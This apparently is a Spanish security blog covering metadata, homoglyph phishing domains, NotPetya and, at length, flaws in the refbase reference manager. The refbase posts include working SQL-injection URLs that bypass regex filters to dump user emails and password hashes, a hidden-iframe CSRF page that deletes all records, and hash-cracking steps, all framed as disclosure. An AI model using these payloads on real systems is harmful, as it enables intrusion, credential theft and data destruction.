miércoles, 27 de febrero de 2019

Video sobre metadatos en el "Especial Seguridad" de la revista EnRed@2.0

Hola.

Últimamente estoy colaborando en EnRed@2.0, una revista digital que ha creado el Instituto Andaluz de Administración Pública dentro de su programa de Gestión del Conocimiento.

Pues bien, acaba de publicarse su número 3, un "Especial Seguridad" en el que se aborda este tema desde diversos puntos de vista: consumo, riesgos laborales, deporte,... y, por supuesto, seguridad TIC.

De hecho, como las cabras tiran para el monte, de Seguridad TIC y cosas relacionadas hay tres artículos. Uno sobre cómo se organiza la Seguridad TIC en la Junta de Andalucía, otro sobre qué es la política de mesas limpias y, finalmente, un vídeo que he hecho sobre metadatos.

En realidad el video es una adaptación de una de las demos que hice en una presentación en la conferencia Sedian Day de finales de 2018. Si estuviste allí, quizá quieras recordar el momento. Y, si no, puede que quieras ver qué te perdiste.

En todo caso, por si quieres echar un vistazo, ahí dejo los enlaces:






Y, si te quedas con ganas de más, la portada de la revista está en:

sábado, 6 de octubre de 2018

Buenas ideas

El mensaje entusiasta que acompaña a la fotografía casi me convence.

Y pensándolo bien: ¿Qué hay de malo hacer un molde en barro de la llave de tu casa, o de tu piso de vacaciones, y escribir en él la dirección?

Incluso podrías compartirlo en tu muro de Facebook para que la gente vea qué ideas más chulas tienes.

¿Qué puede salir mal?


Además, por lo que se ve, es vegetariano. Sano y saludable.

En definitiva: cosas que es mejor no tener y, de verte obligado a hacerte con una, deberías guardar en una caja fuerte y bien opaca, Al menos hasta que vendas la casa.

 Pero, claro, entonces no tendrías de qué presumir.

lunes, 27 de agosto de 2018

Gato por liebre (o I por l)

Es sabido que los phishers utilizan dominios falsos en sus campañas de correos fraudulentos y, en ocasiones, tratan de confundir al personal usando nombres de dominio "con trampa".

A veces el truco es medianamente avanzado, como cuando usan caracteres Unicode internacionales que se parecen a los latinos. Buscan, por ejemplo, un carácter cirílico que se parezca a la letra "a" y registran dominios que, cuando los ves escritos, parecen "amazon,com". Sin usar la letra "a", claro.

Otras no se complican tanto y usan la letra "I" (i mayúscula) en lugar de una "l" (ele) o cosas por el estilo.

Sobre el tema escribí no hace mucho en el libro sobre "Hacking Web Technologies: Client Side Attacks". Sobre eso y sobre cómo los navegadores tratan de protegernos contra estos ataques mostrando los caracteres Unicode que puedan causar equívocos mediante una codificación de caracteres ordinarios llamada Punicode. Y utilizando en la barra de direcciones un tipo de letra que deje claro, sin lugar a confusiones, qué tenemos escrito.

Pero... usar navegadores es de viejunos como yo. Y las nuevas aplicaciones no tienen el mismo camino recorrido que nuestros queridos browsers. Revisando hoy mi Whataspp encontré un mensaje curioso:


A que sé que estáis pensando...

Pues sí, la "ele" de "hotels" no es una "ele", sino una "i mayúscula".

Mi consejo es que no visites la dirección del enlace. Pero si alguien lo hace, su navegador le llevará, previa redirección, a un dominio raruno con uno de esos nuevos TLD:



Un dominio registrado el 24-8-2018. Tres días antes del momento en que escribo esto.

Resumiendo: Cuidadín con los enlaces de Whatsapp.

Nos vemos por estos lares (espero que pronto).

martes, 27 de junio de 2017

Era previsible. Y aquí lo tenemos

En las últimas horas, algunos habremos dicho unos cuantos de cientos de veces eso de "ya te lo dije".

Sí. Era de esperar. Era cuestión de tiempo que volviera a pasar algo parecido a lo del WannaCry. Quizá menos espectacular. Quizá más efectivo. Quizá...

Hoy vuelve a aparecer la palabra "ransomware" en los  medios de comunicación. Un ataque masivo, dicen, que ha afectado a un buen número de organizaciones, sobre todo en Europa y, de forma especial, en Ucrania. Que yo haya visto por ahí, hasta ahora han tenido problemas empresas como la publicitaria británica WPP, las transportistas TNT-Express y Maersk, la farmaceútica norteamericana Merk, la aeronaútica Antonov, los bancos Oschadbank y Privatbank de Ucrania y la red eléctrica de este país, el metro de Kiev, la petrolera Rosneft o el sistema de detección de radiaciones de lo que queda de la central nuclear de Chernobyl. Y una empresa de hospitales norteamericana, Heritage Valley Health System, y el grupo español Mondelez (propietario de Toblerone, Milka, Tang y Oreo)

La cobertura de la noticia es de lo más variado:
https://www.thestreet.com/story/14199347/1/victims-of-the-latest-cyberattack.html?puc=CNNMONEY&cm_ven=CNNMONEY
http://money.cnn.com/2017/06/27/technology/hacking-petya-europe-ukraine-wpp-rosneft/index.html
http://www.bbc.com/news/technology-40416611
http://internacional.elpais.com/internacional/2017/06/27/actualidad/1498568187_011218.html
http://www.elmundo.es/tecnologia/2017/06/27/595269e0ca4741fb3f8b4668.html


Y por poner algo más técnico, los de Kaspersky van actualizando la información que van obteniendo en:
https://blog.kaspersky.es/new-ransomware-epidemics/13581/
https://blog.kaspersky.com/new-ransomware-epidemics/17314/

Todavía se sabe poco sobre este nuevo malware. En realidad, ni siquiera se sabe cuán nuevo es. Se discute si es una variante de Petya. De hecho, Kaspersky le ha llamado "NotPetya".

Y, por supuesto, no se pierde la ocasión de compararlo con WannaCry. Se ha dicho que llega a través de mensajes de correo que llevan un enlace a un fichero malicioso y que también utiliza una variante de EternalBlue para propagarse por las redes locales. Aunque también he leído, entre otros, a Kevin Beaumont  que puede estar empleando psexec o WMI (Windows management instrumentation).

En la cuenta de twitter de Dave Kennedy puede encontrarse la información que éste va recopilando. De ahí he sacado unas cuantas ideas:
  • Que el malware busca contraseñas en el equipo y trata de utilizarlas para infectar a otros sistemas. Se ha hablado de diversas técnicas para extraer estas credenciales, incluyendo el uso de mimikatz. Y es que eso sólo hay una cosa peor que que todas las cuentas locales de administración de los distintos equipos tengan una misma contraseña: que la compartan también con la del administrador del dominio.
  • Que si se bloquea el uso del fichero C:\Windows\perfc.dat para escritura y ejecución, el malware no puede ejecutarse.

Otra forma de propagación de la que se ha hablado es la infección de un servidor de actualizaciones de software. En particular, se ha mencionado a la empresa MeDoc, titular de un programa que promete automatizar los procesos de flujo de trabajo y los informes dentro de un mismo producto. La propia empresa reconoció inicialmente haber sufrido un ataque para después aclarar en su cuenta de Facebook que, a pesar de ello, sus actualizaciones de software no están infectadas (como algunos traductores suelen tener problemas con las páginas servidas sobre HTTPS, mejor que copies el contenido y lo pegues tú en el traductor).

Por cierto que uso el traductor de Bing y no el de Google en el primero de estos dos enlaces. Y la razón es que la traducción que éste último hacía me pareció, a riesgo de equivocarme, que no era muy correcta:

Imagen 1. Cuando no puedas echarle la culpa al mayordomo, para eso está el camarero

También me llamó la atención una fotografía que está acompañando a algunos artículos en los que se cubre esta noticia. En ella aparecen los típicos mensajes que muestra CHKDSK a medida que analiza un volumen de disco. La imagen aparece en uno de los mensajes que publica en su cuenta de Twitter el Vice-Primer Ministro ucraniano, Rozenko Pavlo, acompañando al texto "Та-дам! Секретаріат КМУ по ходу теж "обвалили". Мережа лежить." algo que no he sido capaz de traducir pero que en una página he encontrado en versión inglesa como ""Yes, ladies! The Cabinet of Ministers Secretariat also 'collapsed' along the way. The network lies." (a riesgo de equivocarme, sería"¡Sí, señoras! El Secretariado del Gabinete de Ministros también está colapsado sobre la marcha. La red miente").

Confieso que lo primero que se me vino a la cabeza es "éste ha confundido, le ha saltado en CHKDSK y no ha entendido lo que le salía". Pero resulta que este nuevo malware reinicia el equipo. Quizá de ese modo evite que se puedan extraer de memoria las claves privadas utilizadas para cifrar los ficheros.

Creo que es conveniente repetir aquí algo que leí en la cuenta de Twitter de Dave Kennedy. Quizá salve la información de alguien: Si sale el CHKDSK, apaga el equipo. Si el malware no ha cifrado aún tus ficheros, cosa que sería probable, podrías usar un Live CD para rescatarlos antes de que la cosa vaya a peor. Incluso aplicaría este consejo a quienes vean como su equipo se reinicia sin causa aparente: no lo dejes reiniciar, apágalo y haz una copia de tus datos con el Live CD.

En fin. Que ya veremos como acaba esto. Que, por no saber, no sabemos aún ni cómo empezó (aunque en Ucrania miran de reojo a Rusia).

Y que, inevitablemente, pronto estaremos hablando de otro ataque global de malware.

lunes, 22 de mayo de 2017

WCrypt WTF

Hola.
Acabo de mirar en el móvil la dirección https://intel.malwaretech.com/botnet/wcrypt, esa del mapa con el estado actual de WCrypt.

Y no me creo lo que veo:


Demasiado bueno para ser verdad... Sobre todo porque lo de "0 online" aparece para todas las botnets que esta web monitoriza.

Aparte que hace cosa de 8 horas que en @MalwareTechBlog se reportaba que a estas alturas seguían siendo detectadas unas 100.000 direcciones IP únicas diarias.

Quizá tenga que ver con los ataques de DDoS que MalwareTech ha venido recibiendo de vez en cuando desde que adquirió la notoriedad de que hoy disfruta. De hecho, en Twitter aparece alguna referencia reciente a estos ataques. Como en https://twitter.com/MalwareTechBlog/status/866444112479887362


Es lo que tiene estar en el centro de atención...

jueves, 18 de mayo de 2017

Cifrado de contraseñas en refbase


La última vez, para comprobar la vulnerabilidad de SQL Injection de refbase, obtuvimos unos cuantos hashes de contraseñas. Hoy he añadido algunas cuentas de acceso a la aplicación con objeto de seguir jugando. Volviendo a relizar la misma inyección de SQL he obtenido los siguientes pares de correos electrónicos y hashes (como es costumbre, van separados por el carácter ":"):
user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E
¡Uy, qué cortitos son estos hashes! Sólo 13 caracteres. Esto tiene mala pinta.

Veamos los scripts de la aplicación que gestionan las constraseñas. El primero de ellos, en el que se calcula el hash y se almacena en la base de datos es "user_validation.php", dentro del cual podemos encontrar el siguiente fragmento de código:
$salt = substr($formVars["email"], 0, 2);

// Create the encrypted password
$stored_password = crypt($formVars["loginPassword"], $salt);

// Update the user's password within the auth table
$query = "UPDATE $tableAuth SET "
 . "password = " . quote_smart($stored_password)
 . " WHERE user_id = " . quote_smart($userID);
Y la comprobación realizada en los intentos de inicio de sesión puede encontrarse en "user_login.php":
$salt = substr($loginEmail, 0, 2);
// Encrypt the loginPassword collected from the challenge (so that we can compare it to

// the encrypted passwords that are stored in the 'auth' table)
$crypted_password = crypt($loginPassword, $salt);
¡Sí que tiene mala pinta! Se emplea la función "crypt" con una "sal" de sólo dos caracteres. Veamos lo que dice el manual de PHP sobre ella. Pongo puntos suspensivos para omitir parte del texto y no hacerlo demasiado largo:
crypt() devolverá el hash de un string utilizando el algoritmo estándar basado en DES de Unix o algoritmos alternativos que puedan estar disponibles en el sistema. 
 Algunos sistemas operativos soportan más de un tipo de hash. De hecho, a veces el algoritmo estándar basado en DES es sustituído por un algoritmo basado en MD5. El tipo de hash se dispara mediante el argumento salt. ... Si no se proporciona una sal, PHP autogenerará o una sal estándar de dos caracteres (DES), o una de doce caracteres (MD5), dependiendo de la disponibilidad de la función crypt() de MD5.
...
En sistemas donde la función crypt() soporta múltiples tipos de hash, las siguientes contantes se establecen en 0 o 1, dependiendo de que si el tipo dado está disponible:
  • CRYPT_STD_DES... salt de dos caracteres del alfabeto "./0-9A-Za-z".
  • CRYPT_EXT_DES...el "salt" es un string de 9 caracteres que consiste en un guión bajo seguido de 4 bytes del conteo de iteraciones y 4 bytes del salt.
  • CRYPT_MD5... salt de doce caracteres comenzando con $1$
  • CRYPT_BLOWFISH... salt como sigue: "$2a$", "$2x$" o "$2y$", un parámetro de coste de dos dígitos, "$", y 22 caracteres del alfabeto "./0-9A-Za-z". 
  • CRYPT_SHA256... salt de dieciséis caracteres prefijado con $5$. 
  • CRYPT_SHA512...  salt de dieciséis caracteres prefijado con $6$
O sea: que al usar dos caracteres para la "sal" se obliga a "crypt" a usar DES estándar que, como se vio anteriormente, genera hashes de 13 caracteres de los que los 2 primeros corresponden a la salt. Por decirlo de forma suave, para esto de las contraseñas se queda bien cortito.

Además, los dos caracteres deben pertenecer  al alfabeto "./0-9A-Za-z". Dos signos de puntuación, diez dígitos, veintiséis letras mayúsculas y otras veintiséis minúsculas. En total, un alfabeto de 64 caracteres. Y, en definitiva, sólo 64x64 = 4096 combinaciones posibles que, con el estado actual de la tecnología, resultan insuficientes para hacer inviables los ataques con Rainbow Tables.

Pero volvamos a observar los hashes obtenidos mediante SQL Injection. Los dos últimos contienen caracteres incorrectos para una "sal" de las que acabamos de describir:
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E
La "sal" del primero de los hashes es "a@". Y la del segundo, "a!". Ni "@" ni "!" son caracteres incluídos en el alfabeto "./0-9A-Za-z". Entonces... ¿qué hace PHP con ellos? 

Aunque el manual indique la función fallará si encuentra este tipo de caracteres, la verdad es que no lo hace. Y la prueba es que ahí están esos hashes. En PHP 7 hace que se muestre un warning, pero poco más. Las distintas implementaciones de DES estándar responden cada una a su manera a estas situaciones pero lo habitual (y lo que PHP hace) es sustituir cada uno de estos caracteres incorrectos por otro que sí sea válido. La forma en que se realiza este "mapeo" puede variar dependiendo de cada software, de modo que realicé un script PHP que se encargara del trabajo sucio.

Este script, cuyo listado aparece al final del post, determina mediante pruebas exhaustivas el mapeo de caracteres incorrectos a caracteres correctos y, si es necesario, corrige la parte de la "sal" del hash para que no quede en él nada raro. El resultado que obtuve fue
user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:aGMwrmlI6E95E
a!dsf@t.com:an72jMCWwO03E
Y hay otro problema. Este mecanismo de creación de hashes trunca la contraseña en el octavo carácter. O sea, que de nada sirve poner contraseñas de 9 o más caracteres si uno quiere mejorar su calidad. Para comprobarlo, tomemos el siguiente script PHP de usar y tirar, que obtiene un hash para tres cadenas que comienzan con los mismos caracteres: una de longitud 7, otra de longitud 8 y una última de longitud 12:
<?php
function imprime_fila($texto, $salt, $valor) {
 $dato = $valor ? $valor : crypt($texto, $salt);
 print "
  <tr>
   <td>$texto</td>
   <td>$salt</td>
   <td>$dato</td>
 </tr>
 ";
}

print "<table border=1>";
imprime_fila("TEXTO", "SALT", "HASH");
$base = "1234567";
foreach (["", "8", "80abc"] as $texto) {
  imprime_fila($base . $texto, "ab");
}
print "</table>";
?>
En la salida producida puede observarse que el hash para "12345678" es el mismo que para "1234567890abc". O sea: que el propio sistema se encarga de deteriorar las contraseñas que recibe si estas son demasiado buenas.


¿Que si todo esto es tan importante? Para comprobarlo, guardemos estos datos en un fichero llamado "refbase.txt" y pasémoslo por John The Ripper. Vaya por delante que no voy a utilizar un equipo demasiado potente ni me he molestado en optimizar el uso de este crackeador de hashes.

En primer lugar, realicé sólo un ataque de diccionario mediante lista de palabras para coger pronto las "frutas que están al alcance de la mano":

Ataque de lista de palabras a hashes DES estándar
 En menos de un segundo, ya tengo las primeras tres contraseñas. Para ver si obtengo la cuarta, toca probar a dejar a John The Ripper usar sus propias reglas de "mejora" del diccionario:

Cuarenta y un segundos


Sólo ha hecho falta poco más de cuarenta segundos para lograrlo. Bueno, la verdad es que las contraseñas no eran demasiado buenas y no ha sido necesario utilizar la artillería pesada, pero ya tenemos una primera medida.

Desde luego, mejor habrían hecho en buscar un algoritmo apropiado para el cómputo del hash. Esto se lo comenté en su día, hace más de un año, con los desarrolladores de refbase y me respondieron que eran conscientes del problema y que estaban estudiando dejar de usar la función "crypt" y sustituirla por "password_hash".

Deben ser muy estudiosos, porque aún parecen seguir estudiándolo. En todo caso, que estuvieran al tanto de la solución me reafirma en mi creencia de que no es que esto de la seguridad no les preocupe, sino que no tienen el tiempo ni los recursos necesarios para mantener un software tan complejo como refbase.

Sobre "password_hash" se habla en la propia página de "crypt" del manual de PHP :
password_hash() utiliza un hash fuerte, genera una sal fuerte, y aplica los redondeos necesarios automáticamente. password_hash() es una envoltura simple de crypt() compatible con los hash de contraseñas existentes. Se aconseja el uso de password_hash(). 
Y, si nos vamos a su propia documentación, podemos leer:
Actualmente se admiten los siguientes algoritmos:
  • PASSWORD_DEFAULT - Usar el algoritmo bcrypt (predeterminado a partir de PHP 5.5.0). Observe que esta constante está diseñada para cambiar siempre que se añada un algoritmo nuevo y más fuerte a PHP. Por esta razón, la longitud del resultado de usar este identificador puede cambiar con el tiempo. Por lo tanto, se recomienda almacenar el resultado en una columna de una base de datos que pueda apliarse a más de 60 caracteres (255 caracteres sería una buena elección).
  • PASSWORD_BCRYPT - Usar el algoritmo CRYPT_BLOWFISH para crear el hash. Producirá un hash estándar compatible con crypt() utilizando el identificador "$2y$". El resultado siempre será un string de 60 caracteres, o FALSE en caso de error.
Bueno, BCRYPT es, desde luego, mucha mejor opción que DES estándar. No es perfecta, y trunca las contraseñas a 72 caracteres:
Precaución
El uso de PASSWORD_BCRYPT como el algoritmo resultará en el truncamiento del parámetro password a un máximo de 72 caracteres de longitud.
Y alguien apunta en los comentarios que también trunca la contraseña en el primer carácter nulo que encuentre:
Please note that password_hash will ***truncate*** the password at the first NULL-byte.
 Pero creo que se ven claramente las ventajas frente a DES estándar. Además, para verificar posteriormente las contraseñas contra los hashes calculados con "password_hash", existe otra función, "password_verify" que, como se indica en su documentación en inglés, tiene mecanismos de protección frente a ataques de medida de tiempo. Ya sabe: esos que tratan de determinar cuántos caracteres del inicio, ya sea de la contraseña o del hash, has acertado midiendo el tiempo que el programa tarda en comparar las cadenas:
This function is safe against timing attacks.
 Preparé, pues, un script "rápido y sucio" que calcula los hashes usando "password_hash". Mejor no ponerle ninguna "sal" y dejar que se genere una al azar:
 <?php
print"user@refbase.net:". password_hash("start", PASSWORD_DEFAULT) . "<br>";
print"bb@cc.com:". password_hash("test", PASSWORD_DEFAULT) . "<br>";
print"a@b.c:". password_hash("a", PASSWORD_DEFAULT) . "<br>";
print"a!dsf@t.com:". password_hash("p1968", PASSWORD_DEFAULT) . "<br>";
?>
Y el resultado obtenido esta vez fue (si tú lo pruebas, te saldrán hashes distintos por lo de la "sal" aleatoria):

user@refbase.net:$2y$10$g1vrkHhlkuFy.c4njRQVFuHvL9cB8wc8GTmyykRYNTwUDTFSAIyFm
bb@cc.com:$2y$10$Zi1mUOzPS7VolHJc7vLpReJQdbR7eoErCHQhqiizEDKerPMaJCMmi
a@b.c:$2y$10$/0GiqTFxtA2NJXtRc4pvV.niY940ClYAnxelPsnVtuW1chBFgLnHm
a!dsf@t.com:$2y$10$mmJeQXlay3dv1wysiFPvBeCL0j1U81SLrs/TiFV0tfOy/97DKSNgO
De modo que... a guardarlo en "refbase2.txt" y someterlo a un ataque de diccionario por lista de palabras:

Esto tarda bastante más

Lo que antes llevó menos de un segundo ahora lleva casi cuatro minutos. Y quedan aún las contraseñas más difíciles. Si observamos los indicadores que da John de Ripper vemos que, por tomar uno cualquiera de ellos, el número de contraseñas probadas por segundo se ve reducido en una proporción aproximada de 1 a 7600. Creo que poco más habría que añadir.

Y la pena es que no haría falta que modificaran demasiado el código fuente de refbase para arreglar todo esto.

Bueno, aquí lo dejo por hoy. Nos vemos por aquí pronto, espero.

PD.: Ahí dejo el script que corrige las "sales" para los hashes DES estándar:
<?php


$password="user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E";


function crea_conversor() {
    $cadena = "adsfadf !!! adfadsf!!!";
    $validos = [".", "/"];
    for ($i=48;$i<=57;$i++) {
        $validos[] = chr($i);
    }
   
    for ($i=65;$i<=90;$i++) {
        $validos[] = chr($i);
    }
   
    for ($i=97;$i<=122;$i++) {
        $validos[] = chr($i);
    }
   
    $res = [];
    for ($i=0; $i<255; $i++) {
        $c = chr($i);
       
        $cod = substr(crypt($cadena, "a$c"), 2);
        foreach ($validos as $v) {
            $cod2 = substr(crypt($cadena, "a$v"), 2);
            if ($cod == $cod2) {
                $res[$c] = $v;
            }
        }
    }
   
    return $res;
}

function procesa_hash($h, $conv) {

    return
        $conv[substr($h,0,1)] .
        $conv[substr($h,1,1)] .
        substr($h,2);
}


$conv = crea_conversor();
$lineas = preg_split("/[\r\n]+/", $password);
foreach ($lineas as $l) {
    $partes = explode(":", $l);
    print htmlspecialchars($partes[0] . ":" . procesa_hash($partes[1], $conv)). "<br>";
}

martes, 16 de mayo de 2017

SQL Injection y alguna cosa más. Sí, en refbase

Volvamos a la aplicación refbase. Esta que, por ahora, tiene vulnerabilidades de subida de archivos de cualquier extensiónejecución de comandos de sistema operativo y de ficheros de código SQL, ejecución de código PHP arbitrartio, aparte de una gestión de las versiones que, creo, supone un serio riesgo para quienes la instalan en sus sistemas. Aquí la tenemos
La página de inicio
En la página de inicio aparecen las últimas publicaciones introducidas en la base de datos. Junto a cada una de ellas hay dos botones: uno con forma de flecha, que lleva al sitio donde puede consultarse el documento, y otra, con forma de lupa, que permite acceder a la correspondiente ficha. Tomemos una publicación, hagamos clic en su "lupa"...
Atención a la URL

... y observemos la URL. Como no sale completa en la imagen, os la copio aquí:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT%20author%2C%20title%2C%20type%2C%20year%2C%20publication%2C%20abbrev_journal%2C%20volume%2C%20issue%2C%20pages%2C%20keywords%2C%20abstract%2C%20address%2C%20corporate_author%2C%20thesis%2C%20publisher%2C%20place%2C%20editor%2C%20language%2C%20summary_language%2C%20orig_title%2C%20series_editor%2C%20series_title%2C%20abbrev_series_title%2C%20series_volume%2C%20series_issue%2C%20edition%2C%20issn%2C%20isbn%2C%20medium%2C%20area%2C%20expedition%2C%20conference%2C%20notes%2C%20approved%2C%20call_number%2C%20serial%20FROM%20refs%20WHERE%20serial%20%3D%207%20ORDER%20BY%20author%2C%20year%20DESC%2C%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

O, decodificando los parámetros GET para que todo se vea más claro:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT author, title, type, year, publication, abbrev_journal, volume, issue, pages, keywords, abstract, address, corporate_author, thesis, publisher, place, editor, language, summary_language, orig_title, series_editor, series_title, abbrev_series_title, series_volume, series_issue, edition, issn, isbn, medium, area, expedition, conference, notes, approved, call_number, serial FROM refs WHERE serial = 7 ORDER BY author, year DESC, publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

Algo que quizá alguien recuerde de "El parque del oso": ¡Toda una sentencia SQL pasada como parámetro GET!

En su día contaba yo a los desarrolladores de refbase que esto era peligroso y que quizá debían plantearse un enfoque alternativo. No sólo por seguridad sino también porque la solución que habían elegido les complicaría en el futuro la migración de refbase a otros gestores de bases de datos distintos de MySQL. La respuesta fue que, por desgracia, no era realista plantear un cambio de ese calado, dados los recursos de que disponían para el desarrollo.

No digo más. Y con eso creo que tendrás suficiente para entenderme.

En todo caso, refbase no ejecuta el código introducido sin más. Las consultas proporcionadas a través del parámetro GET sqlQuery son alteradas de varias formas para garantizar el correcto funcionamiento del programa. Cosas como:
  • El usuario puede solicitar sólo aquellas columnas que le interesan y refbase se adapta a su petición, mostrando únicamente los datos requeridos. Si es necesario, refbase añade a la consulta las columnas que precise para sus operaciones internas, pero no las muestra.
  • Se garantiza la existencia de la claúsula ORDER BY
Y se incluyen algunos mecanismos de seguridad. Así en la versión obtenida del repositorio SVN se rechaza la consulta y, en lugar de responderle, se redirige al usuario a la página inicial cuando:
  • La consulta contiene etiquetas HTML (para evitar XSS)
  • El usuario no es administrador y la consulta no comienza con "SELECT". A esta comprobación le añaden también que no contengan "DROP DATABASE" o "DROP TABLE".
  • Al SELECT inicial le sigue cualquier cosa que no sea una lista de columnas antes de llegar al FROM. Las columnas que pueden incluirse en esta lista están indicadas expresamente en la variable "$all_fields". Una lista blanca: eso apunta buenas maneras. La expresión regular elegida para hacer esta comprobación viene dada por: 
"/^SELECT ((" . $all_fields . "),* *)+ FROM/i"
  • Si alguien intenta colar una segunda consulta. Para ello, se trata de detectar la presencia de una segunda claúsula FROM
"/FROM .*(" . join("|", $tablesArray) . ").+ FROM /i"
  •  Si la consulta contiene alguna operación no permitida. Las operaciones permitidas vienen dadas mediante una expresión regular

"/FROM $tableRefs( LEFT JOIN $tableUserData ON serial ?= ?record_id AND user_id ?= ?\d*)?(?= WHERE| ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|$)/i"

Todo lo cual, dadas las circunstancias, estaría bien (o, al menos, regular)... si las expresiones regulares fueran correctas.

Sin entrar en muchos detalles, hay un fallo grande. Muy grande. En todas las expresiones regulares anteriores se considera que las claúsulas SQL van separadas... por espacios. Pero SQL en general, y el dialecto de MySQL en particular, acepta un montón de caracteres y expresiones como separadores. Por ejemplo, un comentario "/**/". O un tabulador. O...

Así, que se puede hacer una petición como
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1/**/union/**/select email,password,3,4,5,6,7,8,9,10/**/from/**/auth ORDER BY 1 DESC&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
... y obtener los identificadores de usuario (sus cuentas de correo) y los hashes de sus contraseñas:
SQL Injection accomplished!
Por cierto, que el comportamiento de la aplicación ante la ejecución de consultas SQL incorrectas ayuda bastante a elaborar estos ataques. Muestra tanto la consulta que se intentó realizar como la respuesta del gestor de bases de datos:
Buena ayuda para un atacante


En lugar de comentarios podrían haberse usado otros separadores. Por ejemplo, tabuladores horizontales (codificados en la URL como %09), tabulación vertical (%0B), salto de página (%0C) o retorno de carro (%0D):
http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=Display&headerMsg=&sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1%09union%0Bselect email,password,3,4,5,6,7,8,9,10%0Cfrom%0Dauth ORDER BY 1 DESC, publication&showQuery=0&showLinks=1&showRows=10&rowOffset=0&marked[]=&citeStyle=APA&citeOrder=&orderBy=author, year DESC, publication

Una nota al margen para ir acabando. Los usuarios normales no pueden hacer otra cosa  que SELECT. Los administradores sí podrían lanzar otras instrucciones.

En lo que a los DROP respecta, el usuario que crea el instalador de la aplicación para conectar a la base de datos carece de los permisos necesarios, por lo que no tendrían impacto alguno. Salvo que, quizá por los fallos que tiene el instalador, alguien se huviera visto obligado a crear la cuenta a mano y se hubiera pasado con los permisos, claro.

En todo caso, los INSERT, UPDATE y DELETE sí que están permitidos a la cuenta de administración de refbase. De hecho ésta disponde de un formulario, "sql_search.php", que le permite ejecutar (o tratar de hacerlo) cualquier sentencia SQL. Este formulario termina llamando a "search.php" indicando el parámetro GET "formType=sqlSearch".

¿Y por qué es esto importante?

Porque "search.php", como tantas otras partes de la aplicación, no está debidamente protegido contra Cross Site Request Forgery. Ni, dicho sea de paso, contra ClickJacking. De modo que un atacante podría usar cualquier servidor web que tuviera bajo su control y alojar en él una página maliciosa con el siguiente código:
Hola
<iframe src="http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=&citeStyle=&citeOrder=&sqlQuery=Delete+from+refs&showLinks=1&showRows=10&viewType=Web"
 style="display:none">
</iframe>
Si alguien que ha iniciado sesión con la cuenta de administración de refbase visita esta página... Adios al trabajo de recopilación de referencias documentales.


Nada por aquí, nada por allá